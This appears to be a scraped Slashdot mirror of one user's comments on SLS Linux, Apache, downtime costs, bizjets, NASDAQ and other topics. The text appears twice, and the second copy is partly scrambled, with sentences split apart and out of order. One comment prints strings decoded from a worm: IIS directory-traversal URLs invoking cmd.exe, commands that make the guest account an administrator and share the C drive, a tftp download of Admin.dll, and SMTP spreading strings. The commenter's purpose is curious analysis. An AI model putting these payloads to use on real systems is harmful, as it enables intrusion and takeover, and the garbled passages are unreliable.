Some of us here remember SLS 1.02 of the 100+ 5 1/4 inch floppies, and SLS 1.03 of the broken jewel cases. And we also remember the broken promises for an update for SLS, as well as the outright fraud of taking advance orders, and then claiming that the computer with the CD masters and the payment records had been stolen out of his car.
At one of my jobs, one of the computers in the training room (which had about 15 computers in it) was named "bovine". I set that one up to moo at 25 minutes after the hour, 24 hours a day. For some reason, the trainers didn't realize it was coming from the computer named "bovine", they didn't know how I did it, but they sure knew that I was the one responsible.
Apache is probably the slowest web server out there
It's plenty fast enough if you connection to your web "customers" is through a T-3 or smaller - it will pump out data, even from a mod_perl script, fast enough to flood the link. I've never put it on a faster link so I don't know how much faster a link it will flood.
What about all the stuff your vacuum sucked up? I bet a few years of the sort of crap my kids like to feed to the vacuum would abrade the insulation right off your cat5.
I hope you're being facetious.
I think you'll find there are a lot more home owners out there who want a central vacuum system than a central wiring closet.
But if there is one thing I've learned over the years, you don't put money into your house to increase the resale value of your house. Anything you add is going to impress one buyer but absolutely turn off another. That's why you see houses with swimming pools filled in or outbuildings bulldozed as soon as they change owners.
The only money you can put in your house that makes a difference to the resale value is stuff that prevents the price from going down. This is a hard distinction to make. Replacing the roof when it's getting bad is an example of something that will prevent the resale price from going down.
The cost of many of these factors (except employee down time in certain instances) is a fuzzy one. And I can't give you formulas to calculate, merely assertions that it does cost.
For instance, I know often when I'm shopping on-line, I'll do a web search or a pricegrabber.com search, and if the first match doesn't work, I'll go an order from the next one. And if some future time I'm looking for something similar and once again those same two firms come up one and two, I will remember that firm number two worked well for me the last time, so I'll go back to them before even bothering to see if firm one is back on-line. That's a case of a 5 minute outage leading to permanently lost business. Not a huge amount of business, but no business likes to lose even one profitable sale.
Another loss is sysadmin opportunity cost. Providing your sysadmins had something else to do at the time, presumably they will have to do that other task later. That's an opportunity cost - maybe the people waiting for those tasks to be done will have to wait longer, maybe you'll end up paying your sysadmins over time, or maybe the sysadmins will resent the time spent away from their game of Quake and make higher salary demands next time.
As an aside, I had a friend whose boss told her that he expected the systems would be so well administered that as long as nothing broke, she (my friend) could spend most of the day playing Quake.
but if you have a sysadmin on staff, it's not costing anything real
Maybe this isn't the case where you work, but where I work people use the computers to get useful work done rather than just to provide employement for a sysadmin. If a virus or worm causes down time, or the DDoS-equivalent of all those scans causes people to be unable to reach the internet to do their jobs, then everybody in the company sits there twiddling their thumbs doing nothing. That costs money. So do lost orders because people attempting to reach your web site get a defacement message and probably a copy of the worm instead of your orders page.
Step 1: Sell your soul
Step 2: Forget about standards and compatibility. If it works on the very latest version of IE on Windows, good enough. If it works only on your monitor and your client's monitor, good enough. It if requires 256Gb of RAM and a gigabit ethernet to load, that's fine too, as long as the client has one when you demo it to them.
Step 3: Write stuff that requires fancy, obscure and proprietary plug-ins. Never mind if search engines can't index it, it's gotta be fancy, dammit.
Step 4: Forget about content. It's image that matters, not content. Who cares if the pages don't say anything or the shopping cart has security holes out the whazoo, as long as the buttons are animated and the graphics use the entire colour pallete? It sure doesn't hurt Microsoft, so why should it hurt you?
I mimedecoded the readme.eml that one of the infected web pages was trying to send me, and found the following strings in the executable:
Concept Virus(CV) V.5, Copyright(C)2001 R.P.China
What's that? A script kiddie virus kit?
SYSTEM\CurrentControlSet\Services\lanmanserver\S ha res\Security
share c$=c:\
user guest ""
localgroup Administrators guest/add
localgroup Guests guest/add
user guest/active
open
user guest/add
I wouldn't know a Windows script if it came up and hit me in the face, but I'll bet dollars to donuts that that's opening up a file share on your entire C drive.
First, about 10 years ago, I heard that Dassault was looking to build a supersonic bizjet. Then it was Suhkoi. Then it was Dassault and Suhkoi together. Now it's Dassault working with Gulfstream and Suhkoi working with Boeing.
I'm not holding my breath for this to become a reality. But I sure hope my old flying instructor who flies Gulfstreams gets a job on one.
One of the reason jet "time-shares" like Executive Jets or NetJets are so popular is that it is now quite easy to track an individual aircraft using on-line flight planning tools. If you are the corporate spy for Pepsi, and see that the Coca-Cola private jet has made several trips to Podunk, then you might want to start nosing around Podunk and see why Coke is so interested. But if some corporate time-share jet goes to Redmond and then goes to Armonk, it isn't necessarily MSFT doing something with IBM, it could be any number of other scenarios not involving either MSFT or IBM.
For those of us too lazy to try and think up a good search term for finding weird stuff on ebay, there is always http://www.whowouldbuythat.com
Re:Wow...score one more HUGE client for IBM.
on
NYSE Goes To Linux
·
· Score: 4, Interesting
A few weeks ago our system (which handles 70% of all the trades sent to NASDAQ) accidentally sent too many position updates to NASDAQ, something like 200 per second for 20 seconds, and all on a test stock. Not that many, and well within the spec that NASDAQ tells us to stay within, but it crashed NASDAQ's Small Order Execution System (SOES) for all stocks for 20 minutes.
NASDAQ was mad at us for sending so many positions, but it was really their fault for not being able to handle a volume of traffic that they publish that they can handle.
I can't tell you if the part of NASDAQ that crashed is handled by their new NT stuff, or if it was the older Solaris and Tandem parts. But it makes me think that if the tech stock bubble hadn't burst when it did, NASDAQ would have quickly run out of steam and melted down under the shear pressure of increasing trading volumes.
Includes the bogus "640K" Gates quote that everybody says he said, but can't back it up with a citation to a book or magazine or first person account.
Said that CP/M (or as they put it, CP-M) "had originally been written for the IBM family of PCs"
Refers to X as "the main graphics system for most RISC-based UNIX operating systems". I guess all those Vaxes and 68030 based systems I used to program on weren't really running X, then.
One of the features of the myth surrounding Damascus swords was that they were quenched by plunging the sword hot from the forge into the body of a slave. I wonder if Microsoft has enough middle managers to keep a good modern production line going for a while?
So were the public health officials who dragged Typhoid Mary kicking and screaming out of the kitchens. By your reasoning, she should have been allowed to keep working.
Even if I'm vacinnated against typhoid, I don't want a typhoid infected person handling my food.
Even though I don't have a default.ida, I resent the fact that I had to double the number of httpds that I'm running in order to provide decent service to the people who are legitimately accessing my web server because of all the "GET/default.ida?XXXXXX...." going on.
For Pepsi, they run the taste tests because they have a product that tastes better to most people
Pepsi's taste tests long ago stopped being about which drink you prefer. Watch the reactions of the people who pick Pepsi - it isn't "I'm surprised that I like this one better", it's "Hey, I picked the one that's might get me on TV". Not curiosity or amazement, but joy and greed. Even if you prefer the taste of Coke, in a "Pepsi Challenge", you'd pick Pepsi if you can tell them apart so that you can get on TV.
And I won't even get into the fact that they could make sure the Coke was warmer and flatter to bias the scores even further.
Cargo pants don't work if you're of, shall we say, a certain size. If your waist is bigger than your hips, too much weight in your pants means showing butt crack, something that's not going to help your popularity. Plus there's the little problem that some of us wear more than one pair of pants over the course of a work week, and you have to transfer all your stuff from pocket to pocket.
I currently use a bum-bag for my Visor, my cell phone, my wallet, my mini-maglight, my car keys, my house keys, my airplane keys, my passport and green card, and other miscellaneous shit. I usually take it off as soon as I get to my desk or in the car or whatever because it's not that comfortable while sitting. But the vest idea looks good to me. I might try it.
Slashdot Mirror
Some of us here remember SLS 1.02 of the 100+ 5 1/4 inch floppies, and SLS 1.03 of the broken jewel cases. And we also remember the broken promises for an update for SLS, as well as the outright fraud of taking advance orders, and then claiming that the computer with the CD masters and the payment records had been stolen out of his car.
Nope, just a cronjob that did "cat /tmp/moo.au >/dev/audio".
At one of my jobs, one of the computers in the training room (which had about 15 computers in it) was named "bovine". I set that one up to moo at 25 minutes after the hour, 24 hours a day. For some reason, the trainers didn't realize it was coming from the computer named "bovine", they didn't know how I did it, but they sure knew that I was the one responsible.
It's terrible to have a reputation.
Apache is probably the slowest web server out there
It's plenty fast enough if you connection to your web "customers" is through a T-3 or smaller - it will pump out data, even from a mod_perl script, fast enough to flood the link. I've never put it on a faster link so I don't know how much faster a link it will flood.
What about all the stuff your vacuum sucked up? I bet a few years of the sort of crap my kids like to feed to the vacuum would abrade the insulation right off your cat5.
Should add a dollar or two to the market value
I hope you're being facetious.
I think you'll find there are a lot more home owners out there who want a central vacuum system than a central wiring closet.
But if there is one thing I've learned over the years, you don't put money into your house to increase the resale value of your house. Anything you add is going to impress one buyer but absolutely turn off another. That's why you see houses with swimming pools filled in or outbuildings bulldozed as soon as they change owners.
The only money you can put in your house that makes a difference to the resale value is stuff that prevents the price from going down. This is a hard distinction to make. Replacing the roof when it's getting bad is an example of something that will prevent the resale price from going down.
The cost of many of these factors (except employee down time in certain instances) is a fuzzy one. And I can't give you formulas to calculate, merely assertions that it does cost.
For instance, I know often when I'm shopping on-line, I'll do a web search or a pricegrabber.com search, and if the first match doesn't work, I'll go an order from the next one. And if some future time I'm looking for something similar and once again those same two firms come up one and two, I will remember that firm number two worked well for me the last time, so I'll go back to them before even bothering to see if firm one is back on-line. That's a case of a 5 minute outage leading to permanently lost business. Not a huge amount of business, but no business likes to lose even one profitable sale.
Another loss is sysadmin opportunity cost. Providing your sysadmins had something else to do at the time, presumably they will have to do that other task later. That's an opportunity cost - maybe the people waiting for those tasks to be done will have to wait longer, maybe you'll end up paying your sysadmins over time, or maybe the sysadmins will resent the time spent away from their game of Quake and make higher salary demands next time.
As an aside, I had a friend whose boss told her that he expected the systems would be so well administered that as long as nothing broke, she (my friend) could spend most of the day playing Quake.
but if you have a sysadmin on staff, it's not costing anything real
Maybe this isn't the case where you work, but where I work people use the computers to get useful work done rather than just to provide employement for a sysadmin. If a virus or worm causes down time, or the DDoS-equivalent of all those scans causes people to be unable to reach the internet to do their jobs, then everybody in the company sits there twiddling their thumbs doing nothing. That costs money. So do lost orders because people attempting to reach your web site get a defacement message and probably a copy of the worm instead of your orders page.
Apache != Linux
Apache's market share includes the Apache installations running on Solaris, AIX and even Windows, not just Linux.
Step 1: Sell your soul
Step 2: Forget about standards and compatibility. If it works on the very latest version of IE on Windows, good enough. If it works only on your monitor and your client's monitor, good enough. It if requires 256Gb of RAM and a gigabit ethernet to load, that's fine too, as long as the client has one when you demo it to them.
Step 3: Write stuff that requires fancy, obscure and proprietary plug-ins. Never mind if search engines can't index it, it's gotta be fancy, dammit.
Step 4: Forget about content. It's image that matters, not content. Who cares if the pages don't say anything or the shopping cart has security holes out the whazoo, as long as the buttons are animated and the graphics use the entire colour pallete? It sure doesn't hurt Microsoft, so why should it hurt you?
I mimedecoded the readme.eml that one of the infected web pages was trying to send me, and found the following strings in the executable:
S ha res\Security
/add
/add
/active
/add
. %c 1%1c../..%c1%1c..
Concept Virus(CV) V.5, Copyright(C)2001 R.P.China
What's that? A script kiddie virus kit?
SYSTEM\CurrentControlSet\Services\lanmanserver\
share c$=c:\
user guest ""
localgroup Administrators guest
localgroup Guests guest
user guest
open
user guest
I wouldn't know a Windows script if it came up and hit me in the face, but I'll bet dollars to donuts that that's opening up a file share on your entire C drive.
/scripts
/MSADC
/scripts/..%255c..
/_vti_bin/..%255c../..%255c../..%255c..
/_mem_bin/..%255c../..%255c../..%255c..
/msadc/..%255c../..%255c../..%255c/..%c1%1c../.
/scripts/..%c1%1c..
/scripts/..%c0%2f..
/scripts/..%c0%af..
/scripts/..%c1%9c..
/scripts/..%%35%63..
/scripts/..%%35c..
/scripts/..%25%35%63..
/scripts/..%252f..
/root.exe?/c+
/winnt/system32/cmd.exe?/c+
net%%20use%%20\\%s\ipc$%%20""%%20/user:"guest"
tftp%%20-i%%20%s%%20GET%%20Admin.dll%%20
This looks like the list of exploits it tries, and the second last one looks like it's trying to exploit shares.
QUIT
Subject:
From: <
DATA
RCPT TO: <
MAIL FROM: <
HELO
Looks like an SMTP connection script, so I guess it does spread by email as well.
First, about 10 years ago, I heard that Dassault was looking to build a supersonic bizjet. Then it was Suhkoi. Then it was Dassault and Suhkoi together. Now it's Dassault working with Gulfstream and Suhkoi working with Boeing.
I'm not holding my breath for this to become a reality. But I sure hope my old flying instructor who flies Gulfstreams gets a job on one.
One of the reason jet "time-shares" like Executive Jets or NetJets are so popular is that it is now quite easy to track an individual aircraft using on-line flight planning tools. If you are the corporate spy for Pepsi, and see that the Coca-Cola private jet has made several trips to Podunk, then you might want to start nosing around Podunk and see why Coke is so interested. But if some corporate time-share jet goes to Redmond and then goes to Armonk, it isn't necessarily MSFT doing something with IBM, it could be any number of other scenarios not involving either MSFT or IBM.
It is infact the fastest civilian jet except the concorde.
Even more impressive: The Citation X is the fastest aircraft ever designed and built without government money.
For those of us too lazy to try and think up a good search term for finding weird stuff on ebay, there is always http://www.whowouldbuythat.com
A few weeks ago our system (which handles 70% of all the trades sent to NASDAQ) accidentally sent too many position updates to NASDAQ, something like 200 per second for 20 seconds, and all on a test stock. Not that many, and well within the spec that NASDAQ tells us to stay within, but it crashed NASDAQ's Small Order Execution System (SOES) for all stocks for 20 minutes.
NASDAQ was mad at us for sending so many positions, but it was really their fault for not being able to handle a volume of traffic that they publish that they can handle.
I can't tell you if the part of NASDAQ that crashed is handled by their new NT stuff, or if it was the older Solaris and Tandem parts. But it makes me think that if the tech stock bubble hadn't burst when it did, NASDAQ would have quickly run out of steam and melted down under the shear pressure of increasing trading volumes.
Why do you think Linux IPOs were all on NASDAQ?
It's high time we made them free!
Domes want to be free.
Websense doesn't block sites with bad taste, they block sites that taste bad.
Really dating myself here.
To save you the trouble: "It's not like anybody else would date you"
One of the features of the myth surrounding Damascus swords was that they were quenched by plunging the sword hot from the forge into the body of a slave. I wonder if Microsoft has enough middle managers to keep a good modern production line going for a while?
Matrix III: default.ida?XXXXXXXXXXXXXXXXXXXXXXXX
You're giving up liberty-- not yours, but theirs.
/default.ida?XXXXXX...." going on.
So were the public health officials who dragged Typhoid Mary kicking and screaming out of the kitchens. By your reasoning, she should have been allowed to keep working.
Even if I'm vacinnated against typhoid, I don't want a typhoid infected person handling my food.
Even though I don't have a default.ida, I resent the fact that I had to double the number of httpds that I'm running in order to provide decent service to the people who are legitimately accessing my web server because of all the "GET
For Pepsi, they run the taste tests because they have a product that tastes better to most people
Pepsi's taste tests long ago stopped being about which drink you prefer. Watch the reactions of the people who pick Pepsi - it isn't "I'm surprised that I like this one better", it's "Hey, I picked the one that's might get me on TV". Not curiosity or amazement, but joy and greed. Even if you prefer the taste of Coke, in a "Pepsi Challenge", you'd pick Pepsi if you can tell them apart so that you can get on TV.
And I won't even get into the fact that they could make sure the Coke was warmer and flatter to bias the scores even further.
Cargo pants don't work if you're of, shall we say, a certain size. If your waist is bigger than your hips, too much weight in your pants means showing butt crack, something that's not going to help your popularity. Plus there's the little problem that some of us wear more than one pair of pants over the course of a work week, and you have to transfer all your stuff from pocket to pocket.
I currently use a bum-bag for my Visor, my cell phone, my wallet, my mini-maglight, my car keys, my house keys, my airplane keys, my passport and green card, and other miscellaneous shit. I usually take it off as soon as I get to my desk or in the car or whatever because it's not that comfortable while sitting. But the vest idea looks good to me. I might try it.